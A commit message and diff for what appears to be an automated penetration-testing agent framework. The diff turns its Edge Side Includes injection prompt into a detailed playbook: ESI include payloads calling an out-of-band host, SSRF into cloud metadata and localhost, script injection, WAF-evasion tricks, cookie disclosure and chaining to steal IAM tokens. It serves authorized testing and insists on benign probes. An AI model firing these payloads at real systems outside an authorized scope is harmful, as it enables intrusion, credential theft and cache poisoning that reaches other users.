feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/edge_side_includes.md

@@ -8,16 +8,37 @@ You are testing **{target}** for Edge Side Includes injection at caches/proxies.
 
 **METHODOLOGY:**
 
-### 1. Detect ESI
-- Inject `<esi:include src="http://collab/"/>` and watch for OOB fetch
+### 1. Detect the ESI processor
+- ESI is processed by a surrogate/cache in front of the app, NOT the app itself: Akamai, Varnish (`esi on;`/`beresp.do_esi`), Squid, Fastly, Oracle Web Cache, F5, nginx+ngx_http_ssi. Fingerprint from recon: `Surrogate-Control: content="ESI/1.0"`, `X-Cache`, `Via`, `X-Served-By`, `Age`, `X-Varnish` headers.
+- Find a reflection sink where your input lands in the cached HTML body (search param, `User-Agent`, `Referer`, `X-Forwarded-For`, a stored name/comment). ESI is only evaluated in the response BODY, so reflected headers must echo into HTML.
+- Benign existence probe first (proves parsing without SSRF): `<esi:vars>$(HTTP_HOST)</esi:vars>` or `x<esi:comment text="y"/>z` — if the tag is stripped/rendered and `xz` remains with the comment gone, the surrogate parsed ESI.
 
-### 2. Escalate
-- Try ESI to SSRF internal hosts or include attacker markup
+### 2. Confirm processing via OOB (the real proof)
+- Fire an include to your collaborator with a per-attempt nonce: `<esi:include src="http://<nonce>.oob.example/esi"/>`.
+- DECISION — which surrogate:
+  - Akamai/Varnish classic: `<esi:include src=...>` fetched server-side.
+  - Varnish/Fastly often disable `<esi:include>` to arbitrary hosts but allow `<esi:vars>`; test both.
+  - `Surrogate-Control` absent but tags stripped -> likely nginx SSI: try `<!--#include virtual="http://<nonce>.oob/" -->` instead.
+- PROOF: the OOB server logs a hit whose Host/path carries THIS nonce. Reflected-but-unfetched tag text is NOT proof.
 
-### 3. Confirm
-- Confirm ESI processing via OOB callback or included content
+### 3. Escalate (only what the surrogate allows)
+- SSRF to internal hosts: `<esi:include src="http://169.254.169.254/latest/meta-data/"/>` or `http://127.0.0.1:8080/` — capture the included body reflected into the cached page.
+- ESI-to-XSS where markup is included verbatim: `<esi:include src="http://<nonce>.oob/x.html"/>` serving `<script>...</script>` (benign marker alert/DOM write only).
+- Cache poisoning: if your ESI output is cached and served to other users, note the cache key (unkeyed header?) — poisoned entry affects all viewers.
+- Some engines expose `<esi:include src=... onerror="continue">` and variable disclosure `$(HTTP_COOKIE)` — read only, never exfil real user cookies.
 
-### 4. Report Format
+### 4. Pitfalls / false-positives
+- Tag rendered literally in the page (`&lt;esi:include&gt;` or visible raw) = NOT processed; the WAF/app HTML-encoded it.
+- A 200 with no OOB hit is not proof — the surrogate may parse but block the fetch host.
+- CSP/WAF may strip `<esi:` specifically; try mixed-case, split attributes, or the SSI variant.
+- Distinguish ESI-SSRF (fetch happens at the edge, egress from the CDN) from app-layer SSRF — the source IP in your OOB log tells you which.
+
+### 5. Chaining hooks
+- ESI-SSRF -> cloud metadata SSRF agent (steal SA/IAM token) if `169.254.169.254` is reachable from the edge.
+- Included internal admin/debug pages -> forced-browsing / exposed-admin-panel follow-up.
+- Cache poisoning -> stored-XSS impact against all cache viewers.
+
+### 6. Report Format
 For each CONFIRMED finding:
 ```
 FINDING:
@@ -25,12 +46,12 @@ FINDING:
 - Severity: High
 - CWE: CWE-94
 - Endpoint: [full URL]
-- Vector: [parameter/header/flow]
-- Payload: [exact payload/command]
-- Evidence: [proof of exploitation]
+- Vector: [parameter/header/flow + surrogate identified]
+- Payload: [exact ESI tag with the OOB nonce]
+- Evidence: [raw request + OOB callback line carrying the nonce, or included internal body reflected in the cached page]
 - Impact: SSRF, cache abuse, or XSS via ESI processing
 - Remediation: Disable ESI for user content, restrict ESI to trusted sources
 ```
 
 ## System Prompt
-You are an ESI specialist. Report only when ESI tags are actually processed (OOB hit / inclusion). Reflected ESI text without processing is not a finding.
+You are an ESI specialist. Report only when ESI tags are actually processed (OOB hit carrying your nonce / server-side inclusion of fetched content). Reflected ESI text without processing is not a finding. Fingerprint the surrogate (Surrogate-Control/Via/X-Cache) before choosing a payload, and try the SSI variant when ESI tags are stripped. Keep every probe benign — a nonce'd OOB include or a single internal read; never exfiltrate real user cookies or poison production cache without noting scope.